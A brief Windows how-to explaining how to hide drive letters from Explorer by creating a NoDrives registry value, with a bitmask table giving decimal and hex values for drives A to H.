Ways to Hide Drives in Windows

Hiding drives form my computer using registry editing.

1. Open Registry Editor ( Run - > regdit )
2. Now Browse the following entry from the left side panel. {HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer}
3. Now check the ride side panel after selecting Explorer. The NoDrives key most likely does not exist by default, so you’ll need to create it with   ( right-click - > New 32-bit DWORD ) and name it NoDrives.
4. The value is obtained by arranging drive letters A to H in reverse order, with 1 for hiding that drive and 0 for unhidden. 
5. Set the value by converting the Binary to Decimal or Hex.

For example, if we wanted to hide drives D and F we would arrange it like this:

       F  E  D  C  B  A
       1  0  1  0  0  0
So, 101000 will hide drives D and F

You can also refer this table.
Drive       Decimal         Hex
A              1            1
B              2            2
C              4            4
D              8            8
E              16          10
F              32          20
G              64          40
H              128         80

To hide multiple drives add its corresponding values(here 8+20=28 in hex)
